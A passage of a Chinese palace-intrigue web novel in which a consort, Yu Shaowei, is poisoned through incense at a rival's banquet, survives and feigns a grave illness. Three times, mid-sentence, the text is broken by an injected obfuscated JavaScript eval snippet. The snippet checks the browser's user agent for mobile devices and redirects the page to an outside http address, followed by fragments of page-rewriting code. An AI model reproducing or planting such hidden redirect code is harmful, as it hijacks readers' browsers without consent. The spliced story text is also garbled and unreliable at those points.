文淑妃语气淡淡,一边说着一边接过于少微递来的茶水。 于少微倒吸一口凉气:“怎的如此严重!” 文淑妃闻言冷笑一声:“谢凝华这个贱人打定主意要搞我,自然是往死里搞,只是——” 女人端正姝丽的脸上露出一抹残忍的笑:“哼,她最多也只能做到这样了,我文家起势不足二十年,顶破天也只能找出这些陈芝麻烂谷子的错事,她谢家可不一样,百年世家,犯下的事也当属翘楚。” 于少微沉默了一瞬,斟酌着开口:“听您的意思,这事差不多要成了?” 文淑妃颔首:“皇贵妃自以为使得一手金蝉脱壳,怕是死也想不到竟然将李嫔送到了我们这边,之前与你提到的那记录谢家与外族交易的账目,李家竟然是知晓的,还有当初押送粮草的队伍中,也有李家的人。” 于少微惊讶,当时拉李嫔入局只是想着谢李两家关系颇近,或许能得到些线索,毕竟下毒一案发生后,皇贵妃与谢、于两家必然警惕,她行事只会更加艰难。李嫔毕竟背靠李家,其加入一来多少能得些助力,二来若能助她报仇,她也能心安一些,只是没料到李嫔竟然如此得力! “没料到吧?”文淑妃瞥了她一眼,“我也没料到。” 她看着于少微,“那日早晨你来找我说要拉李嫔入伙,我虽是点头答应了,但却不抱多少希望,毕竟李嫔这人说好听点就是头脑简单,说难听点就是蠢笨如猪,就算她是李家的女儿,也难有什么造化,只不过能让谢凝华身边的人背叛,我很是乐见其成。” “你那边的东西准备好了吗?”文淑妃又问。 于少微点头:“也差不多了,只需我的人将粮仓的出库台账理好,届时我一齐拿过来。” “和宫外的通信可还正常?”文淑妃想到皇贵妃最近的动作。 于少微摇头:“皇贵妃专门派了人拦截。” “要不要让我的人来替你送?”文淑妃看着她的表情很是关心。 于少微扯出一抹假笑:“臣妾要是这点事情都办不好,哪里敢和娘娘您合作呢?” 笑话,虽然文淑妃和她现在是合作关系,但再借她八百个胆子她也不敢让淑妃接触她的关系网络,此举无异于自掘坟墓。她目前的确无法避开皇贵妃的围堵,但她还有亓轸啊,反正这小子已经知道她的计划了,现成的人脉不用白不用,虽然她心里还是有点膈应,然事关自己的小命,孰轻孰重她还是分得清的。 文淑妃一脸惋惜,懒洋洋地靠在椅子上,提醒道:“近日你没事不要出晴雨阁,门外再多布置点人手守着,我怕谢凝华还会再派人来。” 于少微点头:“臣妾知道了。” “对了娘娘,臣妾还有一事想问,我们的事,皇贵妃知道多少了?”她又道 “于家那边知道多少?”文淑妃闻言蹙起眉头。 于少微回想那些信件,斟酌道:“于家那边大概只知道我要替母亲报仇,应该还没想到粮草一案。” 文淑妃眉头蹙的更深:“谢凝华那边应该都知道的差不多了,只是不清楚我们现在手上证据有多少,谢家现在也防备的紧,可于家却——” 于少微猛地抬头,两人对视,表情不言而喻。 文淑妃很快整理好表情,笑容淡淡的仰头看向已经起身的于少微:“算了,你先回去吧,事已至此,也只能走一步算一步了。不过看来你那妹妹的婚宴也不用去了,提前祝你得偿所愿了。” 于少微脚步顿了顿,回头展露一个灿烂的笑容:“臣妾也祝贺娘娘即将如愿以偿。” 文淑妃瞬间嗤笑一声,靠在椅子上懒懒地朝她摆了摆手,不再言语。 * 回到晴雨阁,于少微发现自己书案上压着一张小笺,她挪开镇纸将其打开,上头是陈皇后的字迹:你父亲今早递了折子,说要进宫看望你,陛下已经应允,于夫人今日申时就会进宫,你务必要小心。 于少微静默半响,想起方才文淑妃的交代,心里很快有了决定,她抬手将小笺凑到烛火边,红色的火苗舔舐着纸角,不过瞬息便化为灰烬。 “娘娘,要不要传膳?”紫阳端着一碗温好的银耳羹进来,见她立在烛前出神,不由得放轻了脚步。 青阳在昨天清醒了,但还不能下床,槐序肩伤未愈,于少微给她放了长假,勒令她必须伤好后再回来做事,现在宫中的大小事务都由紫阳顶上。 “你替我去未央宫和怡春宫传个话。”于少微转身看见站在屏风后的紫阳,略一思索,冲她招手道。 紫阳将银耳羹搁在旁边的花几上,快步上前,于少微凑在她耳边低语,末了离远些问道:“记住了吗?” 紫阳点点头。 “快去吧,记得避着点人。”她又叮嘱了一句。 申时三刻,宫门外传来太监的唱喏声,于少微端坐在正厅上首,一身月白绣折枝兰的常服,未施粉黛的脸上显得有些憔悴。 “臣妇携小女请婕妤安。”于夫人一身石青绣孔雀的褙子,行至厅中便屈膝行礼,她身侧的于纨穿了一身桃红罗裙,规规矩矩地跟着行礼,眼角却悄悄瞟向厅内的陈设,神情似有不忿。 “母亲请起,妹妹也坐。”于少微坐在位置上一动不动,语气平淡,“宫中不比家中,规矩多些,妹妹若是觉得闷,回头让紫阳带着你四处转转。” 于夫人谢过坐定,接过宫女递来的茶,慢悠悠开口:“婕妤入宫也快一年了,瞧着身子倒是越发康健了,前几日老爷还在家中提起,说婕妤打小就身子弱,如今在宫里有陛下和皇后娘娘照拂,我们做家人的也安心。” 于少微笑了:“于夫人莫不是眼神不好?我现在这幅模样哪只眼睛看见康健?当然,毕竟人上了年纪也能理解,待会儿我让人给你送些明目的药材,你回府记得吃。” 于夫人动作一顿,面色僵硬得很,于纨猛得抬起脸来,面上含着隐约的怒意。 于少微瞥了她一眼,勾了勾唇角,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090881|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视同仁道:“妹妹别急,你也有份,年纪小也要保护好眼睛呢,不然老了就和你娘一样了。”边说着她又叹了口气:“只是眼睛不透亮还有药可医,但心黑却是药石无医啊。” 于夫人按住女儿的手,没有理会于少微的讽刺,目光似不经意地扫过内室的书案,含笑道:“婕妤素来爱读书,如今在宫里,还常看那些旧书吗?” 于少微端着茶盏的手一顿,抬眼时已带上几分笑意:“于夫人怕是记岔了吧,我何曾喜欢读书了?再说宫中琐事多,哪有多少功夫看书。” 于夫人眼底闪过一丝失望,随即又笑道:“婕妤教训的是,是臣妇考虑不周了。” 话锋一转,她忽然又叹了口气,“说起来,前几日整理您母亲的旧物,发现一个锦盒,里面都是些旧书信,臣妇想着,这些东西或许是婕妤念想的,本想带来,又怕触了娘娘的伤心事……” “哦?”于少微抬眸,眼底终于有了一丝波动:“母亲的旧物,家中不是早就一样不剩了吗?这点于夫人怕是比我要清楚。” 于夫人一时语塞,只得含糊道:“许是…许是婕妤记错了,臣妇也是偶然发现的。” “原来如此。”于少微颔首,“那些书信不过是母亲与旧友的往来,没什么要紧的,于夫人若是觉得占地方,烧了便是。” 这话一出,不仅于夫人变了脸色,连于纨都忍不住抬头看她。 “婕妤这说的哪里话,那可是您母亲的遗物。对了,昨日皇贵妃娘娘派人去府里,说想邀婕妤晚些去她宫里观赏新得来的珊瑚盆景。” “皇贵妃?”于少微挑眉,她唇角勾起一抹嘲讽,“我前些日子受了惊吓,身子不适,怕是不便前去,于夫人若是见到皇贵妃,还请替我谢过她的美意。” 于夫人见她油盐不进,终于沉下脸:“婕妤,有些事别做得太绝,于家若是出事了,你在宫里也未必能安稳。” “于夫人这是在威胁我?”于少微猛地起身,袖摆扫过桌角,将一只茶盏扫落在地,“砰”的一声碎裂开来。她居高临下地看着于夫人,眼底的寒意几乎要溢出来,“别忘了,我是陛下亲封的于婕妤,而你不过是于家的主母,在宫里对我不敬,信不信我现在就喊人过来?” 于夫人被她的气势震慑,一时竟说不出话来,于纨也吓得缩了缩脖子,藏在母亲身后愤愤地看着她。 “于夫人方才提起读书,这倒是让我想到前些日子在皇后娘娘哪儿看的佛经。”于少微重新坐了回去,语气轻松,丝毫不见刚刚的怒容。 “《涅槃经》里有这样一句话‘善恶之报,如影随形;三世因果,循环不失。’”于少微死死盯着于夫人的脸,语气却轻飘飘的:“夫人可曾听说过?” 于夫人咬唇,半响才低低道了一句:“臣妇也知晓一句话,不知婕妤可曾听过?” 于少微瞥了她一眼,淡淡道:“说。” 于夫人微微挺直腰背,直视于少微的眼睛,一字一句道:“‘嵩岱之竣,非一篑之积。’三岁稚子也知,想用一筐土去撼动高山,不过是徒劳伤己之举。” 于夫人话音刚落,紫阳突然匆匆进来,脸色有些发白:“婕妤,景阳宫来了一帮侍卫,说皇贵妃娘娘特意炖了参汤,请您和于夫人现在过去尝尝。” “皇贵妃娘娘都来请人了,婕妤再推辞怕是不好啊。”还不待于少微开口,于夫人连忙接话道,她已然起身拉着女儿起身,看向于少微的神色带着几分得意。 于少微淡淡的瞥了她一眼,收起眼底的嘲讽,对紫阳道:“你先出去回复,我换件衣服就来。” 48. 第四十八章 景阳宫内,皇贵妃已经命人摆好了宴席,见于少微一行人进来便笑着起身:“于婕妤可算来了,要我说你可实在难请,这回要不是借了于夫人的面子,今个儿怕是见不到你呢。” 短短一句话,就已经够把于少微恶心八百遍了,偏生的这于夫人还跟着一唱一和,见于少微没有言语,自己就先接话道:“娘娘实在是太客气了,能吃上娘娘的席面,这可是旁人求都求不来的,这不,臣妇特意把纨儿也带来见世面了。” 宫人们领着她们入坐,皇贵妃端坐主位,闻言笑道:“从前贤妃还在时,于夫人还来得多些,自从妹妹去了以后,夫人也是许久未进宫了,嗳说来咱们两家那么亲近的关系,本该多走动走动,怎么如今倒生分了?于婕妤,你说是不是这个理?” 于少微闻言扯出抹假笑:“听娘娘安排便是了。” 见她服软,皇贵妃眼中闪过一丝得意,随即把目光投向于纨,语气瞬间柔和下来:“这便是纨儿吧?几年不见,竟出落得这般水灵,眉眼间倒和你姐姐有几分相似。” 于纨得到夸奖,有些害羞的抿了抿嘴,小脸兴奋的红扑扑的。 “真是个乖孩子。”皇贵妃笑得愈发慈爱,状似随意道,“今年多大了?” “回娘娘,臣女刚满十四。” “哦?这可真是巧了。”皇贵妃拍了拍掌,语气有些惊喜,“我家轲儿今年正好十六,两个孩子年岁相近,性情又都稳重,定能说到一块儿去。” 于夫人的眼睛瞬间亮了,忙不迭地拉了拉于纨的衣袖,于纨更是羞得脖颈都红了,头埋得更低,耳尖却悄悄竖起来。 可没等她们接话,皇贵妃又轻轻叹了口气,语气里满是惋惜:“只可惜陛下一个时辰前就派人把轲儿叫走了,说是有要事商议,我这当娘的想留他吃顿家常饭都不成。”她边说着边叹了口气,果真是十足的惋惜模样。 于少微冷眼旁观,这个时辰皇子们都在文华殿上课了,如此谎话也就只能骗骗于夫人之流了。 果然,于夫人半点没起疑,反而凑上前恭维道:“娘娘这是说的哪里话?二殿下能得陛下如此器重,是他的本事,更是娘娘的福气!合该高兴才是。” 皇贵妃摇摇头,目光扫过于纨:“福气哪有团圆珍贵?还是你命好,儿女都在跟前承欢。”她又叹了口气,语气里带着几分艳羡,“我这宫里冷冷清清的,做梦都想有个贴心的女儿陪我说说话。” 于夫人被这话捧得晕头转向,脸上的喜气都快溢出来了,竟有些忘形地接话:“娘娘别急,二殿下总要娶亲的,等将来王妃进了门,温温顺顺地伺候您,不就和多了个女儿一样?” 皇贵妃只是冲她淡笑了笑,没再接这个话茬。恰在此时,宫人端着参汤进来,皇贵妃的目光终于落回一直沉默的于少微身上,语带关切:“前些日子你受了惊,今日瞧着脸色还是有些苍白,这参汤是我特意让人炖的,最是滋补,你可得多喝点。” 于少微目光掠过桌案上那碗飘着参片的汤品,笑意浅淡:“劳烦娘娘挂心,臣妾不过一点小恙,怕是无福消受这般大补之物。” “不过是些寻常人参,怎会补得太过?”皇贵妃亲自端过汤碗递到她面前,“你我同为后宫妃嫔,本就该互相照拂,于婕妤莫不是嫌我的东西粗鄙?” “娘娘说这话怕是折煞臣妾了。”于少微笑着接过汤碗放在自己面前,脸上露出几分懊恼又无奈的神色:“实在是臣妾自小脾胃虚弱,太医再三叮嘱过,碰不得这些温补药材,一沾就容易发热上火,如今身子还没好利索,更是半点不敢沾染。” 皇贵妃脸上的笑容瞬间僵住,下意识看向于夫人,于夫人也是一脸茫然,显然从没听过这话,表情空白了一瞬。皇贵妃很快敛去失态,似笑非笑地盯着于少微:“竟有这事?怎么从没听你母亲提起过?该不是……找借口推脱吧?” 于少微垂下眼睑,抿出一抹苦笑:“于夫人有自己的亲生儿女要照顾,哪里有顾得上臣妾呢?” 皇贵妃表情一噎,有些恨铁不成钢地飞给于夫人一记眼刀,后者假装没看见,侧头对着于纨道:“纨儿,咱们从府里带来的点心你交给哪个宫人了?” 于纨偷偷瞥了眼皇贵妃的脸色,小声回话:“回母亲,女儿交给娘娘宫里的晚翠姑姑了。” 于夫人抬头对着皇贵妃笑道:“娘娘别见笑,臣妇府上的点心是家传的手艺,不少客人吃了都夸好,少微这孩子自小就爱吃,今日特意带了些来,让大家尝尝。” 皇贵妃默不作声的和于夫人交换了个眼神,脸色稍稍缓和,笑道:“方才晚翠还跟我说,夫人进宫时提了食盒,我还想着你怎么这般客气,竟还带礼物来,正打算等你们走时原封不动地送回去,原来是点心,那我可就却之不恭了。” “娘娘特意叮嘱过不许带重礼,臣妇哪敢不从?”于夫人陪着笑,“只是空着手来叨扰,实在过意不去。” “夫人有心了。”皇贵妃扬声唤道,“晚翠!去厨房催催,把于夫人带来的点心赶紧端上来。” 晚翠应声而去,不多时便提着一个食盒回来,打开食盒的瞬间,甜香扑鼻而来,里面整整齐齐摆着枣泥糕、梅花酥、杏仁饼,件件精致,和于少微上回去于府时吃到的一模一样。 “都是于婕妤爱吃的,放她那边吧。”皇贵妃抬声吩咐。 于少微垂眸盯着碟中酥软的糕点,再抬眼时已是满脸盈盈笑意,伸手捏起一块梅花酥却不入口,反而侧身递到身旁的于纨手中:“夫人与娘娘这般有心,实在让我感念,只是我近来咳嗽,太医千叮万嘱不可沾甜腻,妹妹不如替我尝尝,看看这味道是否还如当年在府中时一般好。” 于纨面色有些发白,下意识去看母亲,只见于夫人也在看皇贵妃。 皇贵妃表情似笑非笑,语气带着几分嘲讽,“于婕妤倒是谨慎,这也不吃那也不吃,不过是一碗参汤、一块糕点,难不成还能有毒?” “娘娘说笑了。”于少微轻轻摇头,“只是这宫中人心叵测,臣妾前几日才洗脱下毒陷害的冤屈,实在不敢有半分大意。想来娘娘也有印象,去年御花园的锦鲤,不过误食了旁人丢弃的糕点,便翻着肚皮死了一片,那景象实在骇人,可见这入口的东西,是万不可随意轻慢的。” 皇贵妃脸上的笑意瞬间淡去,眼底掠过一丝阴鸷。于夫人被这话刺得坐不住,抬了抬眼皮,阴阳怪气道:“于婕妤这话是什么意思?难不成是说我们母女特意带点心来,是要谋害你不成?” “于夫人这话可就冤枉我了。”于少微瞥了瞥捏着点心一口没动的于纨,继续道:“我只是就事论事罢了,倒是夫人你,方才在晴雨阁还说于家与我休戚与共,如今却跟着贵妃娘娘在此设局,不知是母亲的意思,还是父亲的意思?只是无论是谁的意思你们最好都长点心,别到了最后被别人给玩进去了。” 皇贵妃脸色骤变,于夫人猛地起身,指着于少微的鼻子正要说些什么,就听到暖阁外传来太监的高声通报:“陛下驾到——” 众人皆是一惊,于夫人和于纨忙不迭跪下行礼,皇贵妃也勉强维持着镇定起身接驾,于少微松了口气,总算来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103619|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是她没想到来的人竟然会是庆帝。 “陛下怎么来了?”皇贵妃迎上前,庆帝漫不经心地扫过桌上的残席,最后落在侍立一旁的于少微身上,语气闲适:“刚处理了些政务,顺道来看看你,不过瞧这模样,想来朕来得不是时候?” “哪里的话,陛下能来看臣妾,臣妾再高兴不过了。”皇贵妃一边牵着庆帝坐下,一边吩咐道:“来人去把陛下惯用的四合香拿出来点上,炉子里的香赶紧灭了,陛下不喜这甜腻的香气。” 庆帝闻言吸了吸鼻子,道:“闻着也还好,朕还有奏折没批完,坐一会儿就走,倒不用如此麻烦。” “陛下来,总要都换上陛下喜欢的。”皇贵妃亲手斟了一杯茶,递给庆帝。 于少微乘机开口:“陛下来探望娘娘,臣妾与于夫人她们在此多有叨扰,不如先行告退。” 还未等皇贵妃开口,庆帝放下茶盏,状似无意的扫了一眼于少微,随意道:“下去吧。” * 于少微径直回了晴雨阁,于夫人母女则去找了晚翠,由她领着去偏殿歇息。 大概过了一炷香的时间,晚翠突然出现在偏殿又将二人带回了暖阁。 皇贵妃独自一人坐在主位上,手中把玩着一枚玉扳指,表情闲适,瞧着心情颇佳,于夫人刚带着女儿行完礼,便按捺不住急切问道:“娘娘,于少微什么都没吃就走了,咱们这趟岂不是白来了?这可如何是好!” 皇贵妃闻言,嘴角勾起一抹意味深长的笑,伸手从碟中拈起一块枣泥糕,递给立在一旁的于纨:“吃吧,这糕点味道不错。” 于纨瞬间脸色煞白,身子都发起抖来,她接也不是,不接也不是,只能傻愣愣地僵在原地。于夫人见状也吓得魂飞魄散,连忙扑上前拦在女儿身前,声音都带着颤:“娘娘,这、这是什么意思?” 皇贵妃“啧”了一声,不耐烦地将糕点丢回碟中,她斜睨着母女俩,语气里满是不屑:“怎么?这碟点心陛下能吃,我能吃,到了你们这儿就成了毒物不成?” 母女俩顿时面面相觑,见她们这副懵懂模样,皇贵妃反倒觉得有趣,端起茶盏抿了一口,慢悠悠补充道:“方才那碗参汤,我已经让人端下去热着了,这么好的东西,于婕妤无福消受,浪费了岂不可惜?于夫人和于小姐今日陪我这么久,不如就留下来陪我一同享用吧。” “陪,陪娘娘?”于夫人这才迟钝地反应过来,试探着问道,“娘娘的意思是……没在这些食物里动手脚?”后半句话她没敢说出口,却都含在眼神里。 皇贵妃轻飘飘地扫了她一眼,语气带着几分嘲弄:“我是那么蠢的人吗?要动手,也不会用这般容易被拆穿的法子。” 于夫人连忙低头告罪:“臣妇失言,臣妇不是这个意思。” 皇贵妃欣赏够了她们脸上的焦灼与惶恐,总算大发慈悲地松了口:“放心吧,事情已经办妥了,你们且安心回府便是。” “办妥了?”于夫人猛地抬头,眼睛瞪得溜圆,“娘娘是如何办到的?于少微她根本没碰任何东西!” 皇贵妃抬了抬下巴,目光斜向一旁早已熄灭的博山炉,于夫人顺着她的目光看去,先是一愣,随即脸色骤变,瞬间明白了其中关窍,下一秒又急切地追问:“那我们……我们方才也在暖阁里,会不会……” “急什么?”皇贵妃挑了挑眉,神色里满是傲慢,“早就给你们备好了解药,方才喝的茶水里头就掺了,我早料到于少微必定谨慎至极,什么都不会碰,她怕是到死都想不到,恰恰是这份谨慎害了她自己。” 49. 第四十九章 文华殿内,苏学士一来就宣布庆帝下早朝后要来此考校各位皇子近期的课业,太子等会儿也会一起过来。此言一出,亓轩最先欢呼出声,苏学士斜了眼这位兴奋的四皇子,冷不丁道:“四殿下看来对自己很有信心,想来待会儿的考校定是能得陛下称赞的。” 亓轩脸上的笑容迅速僵住,整个人瞬间蔫了下去,他近日的功课学得实在谈不上认真。 略过这边的插曲,苏学士看着底下众人,捋着自己的胡子悠悠道:“诸位殿下现在各自温书吧,老夫就在这里,殿下们有问题随时来问。 亓轸闷头看得认真,偶尔亓辙低声问他几个问题,他虽心有不耐,但还是一一认真答了。 一炷香燃完,苏学士宣布休息,候在门外的小太监们提着茶水进来伺候各皇子歇息,坐在前面的亓轲正低头喝茶,余光瞥见亓轸仍在奋笔疾书,连太监递来的茶盏都未曾碰过,嘴角勾起一抹嘲讽的笑:“有些人啊,倒是会装模作样,以为苦读就能出头。” 亓轩看不惯亓轲这副自恃身份的模样,不由得露出嫌恶的表情。皇贵妃与淑妃,现在应该是淑嫔了,最近闹得很是难看,不过淑嫔如今虽失势,但这么多年积威犹在,整个后宫除了皇贵妃没人敢在她面前说什么风凉话,至于皇贵妃,亓轩冷哼一声,他虽不喜亓轸,但若比之亓轲的话—— 思此,他唰的起身,手肘一个不小心,将案上的热茶连着砚台一起碰翻过去,滚烫的茶水连着浓稠的墨汁一起在亓轲脚边炸开,亓轲迅速缩回脚,但仍避闪不及,靴子与袍角都沾上了污渍。 “亓轩你大清早的又发什么疯!”亓轲猛地直起身,指着亓轩骂道。 “哎呀呀,不小心嘛,对不住了二哥。”亓轩嬉皮笑脸道。 亓轲哪里肯放过他,当即想要上手,亓轩忙不迭退后一步,依旧笑嘻嘻道:“二哥这是吃炮仗了吗?四弟我不过无心之举,你却是好大的火气,容我提醒一句,父皇等会儿就要过来了,我俩闹起来可不好看。” 两人弄出的动静之大,把在另一个屋子休息的苏学士也招了过来,他看着满地狼藉和剑拔弩张的两人,脸色瞬间沉了下来,厉声喝道:“都给我住手!” 他挥手让太监们退出去,“砰”地关上门,皮笑肉不笑道:“诸位殿下好精力,想来也不用不着休息了,接着学吧,一直学到陛下过来!” 一直在角落观战的亓辙闻言瞬间撇下嘴角,默默在宣纸上写下一行字:城门失火,殃及池鱼。还顺势在旁边画了两尾小鱼,分别标上“五”和“六”,目光扫过仍在低头看书的亓轸,皱了皱眉,又将那个五字连着那尾鱼一齐划掉了。 亓轸对周遭的喧嚣充耳不闻,他正提笔在书上的批注旁圈点,窗外忽然传来轻轻的叩击声,一次比一次急促,他忍了几次,终于按捺不住不耐抬头,结果看见禄子那张急得发白的脸。 “殿下,晴雨阁传来急信!”禄子隔着窗缝,声音都在发颤,“于婕妤中毒了!” “什么?”亓轸猛地站起身,案上的书册哗啦散落一地,他拔腿就往门外冲,还未跨过门槛就被苏学士拦住:“五殿下,陛下将至,不可擅离!” 亓轸脚步一顿,目光扫过屋内神态各异的众人,随即用一种焦急不堪的声音吼道:“夫子!我母妃中毒垂危,我岂能在此枯坐!” 言罢便拨开苏学士的手臂,匆匆离开。 * 晴雨阁 于少微靠在床头,命人将书信之类的物什都拿到了床上,正在翻看,陈皇后派来的太医刚走,她的身体没有什么大碍。 昨日从景阳宫回来后,她就觉得头晕恶心,以为是近日操劳太多,思虑伤身,便早早洗漱躺下了,睡至天破晓时惊醒,感觉胸腔麻痹,呼吸困难,明明已是初夏,却四肢冰凉。 侍奉的宫人见她这副模样忙不迭去唤人请太医,于少微躺在床上,胸腔的麻痹已渐渐传至四肢,她意识到自己应该是中毒了,可是,景阳宫的茶水饭食她明明一点没沾,为何还会中毒? “来人去把陛下惯用的四合香拿出来点上,炉子里的香赶紧灭了,陛下不喜这甜腻的香气。” 皇贵妃的声音突然如惊雷般在脑海里炸响,于少微瞳孔骤缩,电光火石间,她突然意识到,是香!景阳宫的熏香有问题! 晴雨阁上下灯火通明,杂乱的脚步声夹杂着说话声此起彼伏,于少微却觉得这些离自己好远,她的四肢已经没有知觉,大脑似乎被浸在冰水里般,感受不到它的存在,她突然觉得很累,很想闭上眼睛歇一歇…… “婕妤!”耳边响起一声凄厉的叫喊,唤回了于少微即将溃散的意识,她费力睁开眼,一张混合着焦急与泪水的苍白面庞映入眼帘,视线有些模糊,她使劲眨了眨眼睛,认出了眼前之人,是青阳。 “婕妤你别睡!婕妤你千万别睡!太医就要来了,槐序也去找皇后娘娘了,他们都快来了,婕妤你撑住!千万要撑住啊!” 青阳焦急得有些语无伦次,于少微蓦地捕捉到几个词,她费力张口,声音细若蚊蝇:“太医……要皇后…太医……” 断断续续的句子破碎不堪,青阳却奇迹般的听懂了,她握住于少微的手,向她重重点头:“槐序已经去了,槐序去请皇后娘娘的太医过来了!” 于少微彻底放下心来,又一阵麻痹的感觉涌了上来,终于,她眼前一黑,彻底昏了过去。 待她再醒来时,感觉有一双温暖的手正紧紧攥着自己的,她迷迷糊糊睁开眼,轻轻道:“娘娘……” “…欸!” 陈皇后面上还带着未干的泪痕,看见她醒了,连忙俯下身子,豆大的泪珠一颗颗砸到于少微的手背上,是温的,她感觉到了。 “少微你可算醒了…我以为你……当初没救下静容,如今你又……要是没护住你我该如何向静容交代啊……” 陈皇后哭得上气不接下气,于少微试着抬了抬手指,能动,她缓缓抬起手臂想替皇后拭泪 “您不要哭。”她听到自己的声音,很真实,周围的一切都很真实。 “我这是怎么了?”她迫不及待想知道自己的状况。 “你中毒了,但太医刚刚为你施了针替你将毒血逼了出来,你现在暂时没有生命危险了。”皇后声音还有些哽咽。 “是香,景阳宫的香有问题。”于少微笃定道。 陈皇后眼里闪过一丝狠厉,她按耐住自己的恨意,又道:“你去赴宴前可曾用过什么?太医说这毒虽不致命,但却能让人全身麻痹,失去知觉,你如今能醒过来,是因为你身体有东西消解了一部分毒性。” 于少微想了想,“是太平丸,我去景阳宫前怕挡不住皇贵妃的攻势,特意服了两粒太平丸!” “那就是了。”一侧正在整理药箱的太医声音响起,“太平丸本身就有解毒的功效,婕妤事先服用了两丸,所以才消解了部分毒性。” 陈皇后长舒一口气,一脸后怕,“幸亏你聪慧。” “娘娘,臣先下去熬药了,明日这个时候臣会再来扎一次针,如此再扎两回,婕妤体内的毒素便可以清干净了。”太医提起药箱鞠躬行礼准备告退。 “等等!”于少微出声阻止。 屋内所有的视线突然集中在她一人身上,陈皇后轻声道:“想说什么?” “麻烦太医您出去之后就说我的情况很严重,就……按照我中毒本该有的情况说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111950|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于少微缓缓道。 陈皇后回过神来,关心则乱,她一下子竟然没想到这点,“按于婕妤吩咐的去办。”她沉声道。 “紫阳在吗?紫阳昨日与我一起去的景阳宫,她有没有事?”于少微突然想到如果熏香有毒,那紫阳她—— “奴婢在这,奴婢没事。”紫阳连忙挤开槐序和青阳上前。 “你昨日……”于少微突然想到紫阳中途被晚翠叫出去了。 “昨日晚翠叫你出去那阵,你们干了什么?可有吃什么?用什么?或碰到什么?” “昨日晚翠叫奴婢一起出去端菜,然后她……请奴婢吃了杯茶,就再没别的了。”紫阳答道。 茶?于少微略一思拊,与陈皇后交换了一个了然的眼神,难怪只有她出事了,原来解药在茶中。思及此,她突然有些感叹,皇贵妃此招的确缜密,若不是她事先服了太平丹,她怕是真将如她所愿,成为一个后半辈子只能躺在床上的废人了。 “好了,你好好休息,本宫不能在你这待太久,明日再来看你。”陈皇后见于少微面容疲惫,有心让她好好休养。 “你们好好照顾于婕妤,守好口风,出了晴雨阁的门,本宫不想听到任何不该说的话。”陈皇后眼神威严,沉沉的扫过屋内众人。 “奴婢明白!”槐序最先反应过来,屈膝跪下行礼,其余宫人见状纷纷效仿,屋内顿时跪倒一片。 陈皇后满意的点点头,临走时又看了于少微一眼,于少微露出一抹温和的笑,轻轻道:“娘娘放心。” 陈皇后叹了口气,心事重重的离开了晴雨阁。 “都起来吧。”于少微吩咐道,“紫阳你过来一下。” 紫阳闻声上前,轻声道:“婕妤可是有事吩咐?” 于少微点头,“你去趟文华殿,去找五殿下身边的禄子,告诉他我中毒了。” 等紫阳走后,青阳走到于少微身边替她更换搭在额头的帕子,有些疑惑:“婕妤为何不告诉殿下实情?殿下听到您中毒,必会担心极了。” 于少微看了看她没有血色的脸,轻轻道:“你身子还没养好,这些事换人来吧。” “至于我为何不告知实情?”于少微瞪大眼睛看着头顶的床帐,缓缓道:“亓轸惊恐之下的真实反应才更容易让一些人相信,我中毒是真的。” 青阳恍然大悟,槐序此时也走到榻边,替于少微掖了掖被子,面上混着后怕与心疼:“婕妤这阵子真的劳累了,趁这个机会好好歇歇吧。” 于少微目光落在槐序的左肩,轻柔道:“肩上的伤怎么样了?” “托婕妤的福,给奴婢用的都是最好的药,现在已经好很多了。”槐序面露感激。 “是我害了你。”于少微叹了口,“还有你。”她又看向青阳。 “婕妤快别这么说,如果奴婢当时亲自将点心送过去,就不会有后面这么多事了……”青阳自责的快要哭出来了。 于少微没答,只道:“都回去歇息吧,你们两个身体都还没好,千万不要落下病根。” “奴婢不要!”,“奴婢要守着婕妤。”两人纷纷摇头。 于少微拿她俩没辙,只得道:“槐序你去把我书案上的书信都拿过来,青阳你扶我起来。” 难得的好时机,既然她在外头已经等同于半个死人了,想来皇贵妃近期也不会一直盯着她,如此,刚好把剩下的事做完。 于少微在心里头满意的盘算,待槐序将东西拿过来,她简直是越看越起劲,身体上的疲惫仿佛都离她而去了,胜利的果实似乎就在眼前。 就在此时,门外传来一串急切的脚步声,于少微闻声抬头,与怔愣在屏风处的亓轸看了个对眼。 50. 第五十章 “来了啊。” 她遮遮掩掩的放下手中的信件,抬头露出一抹心虚的笑。明明是她把人喊来的,结果一对上亓轸明显还没缓过劲的表情时,又隐隐觉得良心有点痛。 也不能算骗人吧,她的确中毒了啊! 靠在床头的女子穿着一身素色寝衣,脸色苍白,连带着嘴唇也毫无血色,眉宇间缠绕着明晃晃的病气。亓轸刚放下的心又提了起来,双腿像灌了铅一般,站在原地无法动弹。 